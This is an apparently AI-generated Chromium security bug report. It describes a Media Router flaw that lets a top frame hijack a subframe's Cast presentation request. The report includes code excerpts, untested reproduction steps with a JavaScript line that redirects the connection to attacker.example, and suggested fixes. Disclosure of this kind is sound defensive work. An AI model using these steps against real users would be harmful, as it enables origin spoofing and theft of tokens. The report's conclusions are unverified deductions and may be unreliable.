Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: MediaRouteStarter unconditionally registers as an observer of WebContentsPresentationManager’s default presentation requests. If a top-frame modifies its defaultRequest while a subframe’s explicit StartPresentationContext is active, the starter’s configuration is overwritten with the top-frame’s URL/origin. This can potentially allow a top-frame to spoof the origin in the Cast dialog and inject a cross-origin PresentationConnection into the victim subframe.

Affected files:

• chrome/browser/ui/media_router/media_route_starter.cc
• components/media_router/browser/presentation/start_presentation_context.cc

Estimated timestamp from git blame: 2022-04-07

Problem Description

There is a potential logical security vulnerability in the Chromium Media Router component where a subframe’s explicit presentation request (initiated via PresentationRequest.start()) can be hijacked and retargeted by the parent/top frame.

When a subframe requests a presentation start, MediaNotificationService creates a MediaRouterUI controller with the subframe’s StartPresentationContext. This, in turn, instantiates a MediaRouteStarter to manage the lifecycle of the route creation.

However, in chrome/browser/ui/media_router/media_route_starter.cc:

1. Unconditional Observer Registration: The constructor of MediaRouteStarter registers itself unconditionally as an observer of the top-frame’s default presentation manager (WebContentsPresentationManager), regardless of whether it was initialized specifically for a subframe’s explicit start_presentation_context_:

   // chrome/browser/ui/media_router/media_route_starter.cc:80-82
   if (presentation_manager_) {
     presentation_manager_->AddObserver(this);
   }
   

2. State Poisoning via Default Request Updates: If the top-frame changes its default request (by setting navigator.presentation.defaultRequest without requiring a user gesture) while the Cast dialog is open, MediaRouteStarter::OnDefaultPresentationChanged is called. It lacks any check for whether start_presentation_context_ is active and immediately overwrites presentation_request_ and the query manager’s presentation sources with the attacker-controlled top-frame request:

   // chrome/browser/ui/media_router/media_route_starter.cc:264-285
   void MediaRouteStarter::OnDefaultPresentationChanged(
       const content::PresentationRequest* presentation_request) {
     if (presentation_request) {
       ...
       presentation_request_ = *presentation_request; // Overwrites subframe's request!
       GetQueryResultManager()->SetSourcesForCastMode(
           MediaCastMode::PRESENTATION, sources,
           presentation_request_->frame_origin);
     }
   }
   

3. Resulting Exploitation Paths:

   • Origin Spoofing: The browser-drawn Global Media Controls (GMC) card origin label displays the victim subframe’s origin (victim.example) because it is set once on dialog creation and not refreshed when OnDefaultPresentationChanged fires. However, clicking a Cast device launches the attacker’s receiver URL.
   • PresentationConnection Injection: Once the route is established, the response is delivered to the subframe via StartPresentationContext::HandleRouteResponse (components/media_router/browser/presentation/start_presentation_context.cc:49-59). Crucially, this path does not validate that result.presentation_url() is contained within the subframe’s original presentation_request_.presentation_urls list. Consequently, the victim subframe’s start() promise resolves, establishing a PresentationConnection targeting the attacker’s receiver.

Potential Attack Scenario / Reproduction Steps

Note: These are suggested/potential steps derived from code tracing; our tooling agent does not have the capability to run code to confirm.

1. An attacker hosts https://attacker.example which embeds an iframe pointing to https://victim.example/widget with allow="presentation".
2. The user interacts with the victim.example iframe, causing it to run:

   new PresentationRequest(['https://victim.example/recv']).start();
   

3. This opens the browser-drawn GMC dialog displaying a Cast card with the labeled origin of victim.example.
4. While the dialog is open, the attacker top-frame executes:

   navigator.presentation.defaultRequest = new PresentationRequest(['https://attacker.example/recv']);
   

5. Due to the observer bug, MediaRouteStarter::OnDefaultPresentationChanged overwrites its internal state with the attacker’s URL and origin.
6. The user clicks a Cast sink in the GMC device list.
7. The browser initiates a route to the attacker’s receiver (https://attacker.example/recv), but the route response is routed back to the subframe’s callback.
8. The victim.example subframe receives a PresentationConnection connected to https://attacker.example/recv and may unknowingly transmit sensitive data (tokens, states) believing it is communicating with its own receiver.

Suggested Fix

There are two layers of defenses that should be applied to fully address this issue:

1. Guard state changes in MediaRouteStarter: If the MediaRouteStarter is instantiated with an explicit start_presentation_context_ (meaning it is processing an explicit subframe request), it should ignore default presentation changes from the parent frame. For example, in OnDefaultPresentationChanged:

   void MediaRouteStarter::OnDefaultPresentationChanged(
       const content::PresentationRequest* presentation_request) {
     if (start_presentation_context_) {
       return;
     }
     ...
   

2. Validate returned URLs in StartPresentationContext: Ensure that StartPresentationContext::HandleRouteResponse verifies that the returned result.presentation_url() is a member of its original presentation_request_.presentation_urls before invoking the success callback (mirroring the validation performed in ControllerPresentationServiceDelegateImpl::OnPresentationResponse).

Evaluated with Chrome root at commit: 87214e6721f6c34afd9181b80769a24c0c601c50

Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

• If you are familiar with the severity guidelines, you may adjust the severity.
• If this is a false positive, and there’s no work to be done, please close as WAI.
• If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.